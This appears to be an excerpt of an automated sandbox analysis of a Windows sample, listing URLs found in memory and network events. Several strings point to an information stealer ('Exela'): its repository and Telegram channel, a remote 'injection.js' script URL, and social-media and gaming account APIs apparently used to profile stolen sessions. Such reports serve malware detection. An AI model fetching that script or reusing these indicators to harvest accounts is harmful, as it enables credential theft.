            Source: 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
            Source: 9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
            Source: 9afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/pull/28073
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548453854.0000020DAE6D8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1556804989.0000020DAE6D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/quicaxd/Exela-V2.0
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/quicaxd/Exela-V2.0/Exela-V2.0
            Source: METADATA.0.drString found in binary or memory: https://github.com/sponsors/hynek
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://github.com/sponsors/hynek).
            Source: 9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/VnJMg5)
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gql.twitch.tv/gql
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://hatch.pypa.io/latest/).
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://hynek.me/articles/import-attrs/)
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://i.hizliresim.com/8po0puy.jfif
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://i.hizliresim.com/eai9bwi.jpg
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://i.hizliresim.com/qxnzimj.jpg
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://i.instagram.com/api/v1/users/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://instagram.com/
            Source: 9afaXJv52z.exe, 00000002.00000003.1535135735.0000020DADFFE000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1557436843.0000020DAE007000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1557853052.0000020DAE012000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mahler:8092/site-updates.py
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548453854.0000020DAE6D8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1556804989.0000020DAE6D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://media.discordapp.net/attachments/1133692440029700117/1140245373496074270/195198d656ec1e2b59a
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://media.discordapp.net/attachments/1145679170127532095/1145756091553173696/3-min-5.jpg
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://oauth.reddit.com/api/v1/me
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://open.spotify.com/user/
            Source: 9afaXJv52z.exe, 00000002.00000002.1568871055.0000020DAD770000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://peps.python.org/pep-0205/
            Source: 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://peps.python.org/pep-0681/)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://pypi.org/project/attrs/)
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://pypi.org/project/cryptography/
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/justforExela/injection/main/injection.js
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/FilePreviews.svg
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Sentry.svg
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Tidelift.svg
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Variomedia.svg
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
            Source: 9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drString found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://sentry.io/
            Source: 9afaXJv52z.exe, 00000000.00000003.1246713889.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246388423.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246295929.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/ExelaStealea
            Source: 9afaXJv52z.exe, 00000002.00000003.1556804989.0000020DAE6D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/ExelaStealer
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/ExelaStealer----------------------
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/ExelaStealer-------p
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.meZ
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
            Source: 9afaXJv52z.exe, 00000000.00000003.1246713889.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246388423.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246295929.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tidelift.com/subscripti
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
            Source: METADATA.0.drString found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiktok.com/
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/home
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
            Source: 9afaXJv52z.exe, 00000000.00000003.1247580506.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.apache.org/licenses/
            Source: 9afaXJv52z.exe, 00000000.00000003.1247580506.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1247653162.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1247533508.00000170C08F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
            Source: METADATA.0.drString found in binary or memory: https://www.attrs.org/
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
            Source: 9afaXJv52z.exe, 00000000.00000003.1246713889.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246388423.00000170C08EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246295929.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/latest/license.html)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/latest/names.html)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/stable/changelog.html
            Source: METADATA.0.drString found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization).
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes).
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
            Source: 9afaXJv52z.exe, 00000002.00000002.1565399042.0000020DAD470000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
            Source: 9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
            Source: 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.openssl.org/H
            Source: 9afaXJv52z.exe, 00000002.00000003.1535135735.0000020DADFFE000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1557436843.0000020DAE007000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1557853052.0000020DAE012000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/
            Source: 9afaXJv52z.exe, 00000002.00000002.1565167633.0000020DAD230000.00000004.00001000.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258773956.0000020DAD716000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.reddit.com/user/
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.roblox.com/my/account/json
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
            Source: 9afaXJv52z.exe, 00000002.00000003.1543162548.0000020DAE862000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.twitch.tv/
            Source: 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drString found in binary or memory: https://www.variomedia.de/
            Source: 9afaXJv52z.exe, 00000002.00000003.1557790883.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549460513.0000020DAD9CF000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DAD8B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1569893970.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551014490.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551721234.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://zopeinterface.readthedocs.io/en/latest/
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
            Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow created: window name: CLIPBRDWNDCLASS
            Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
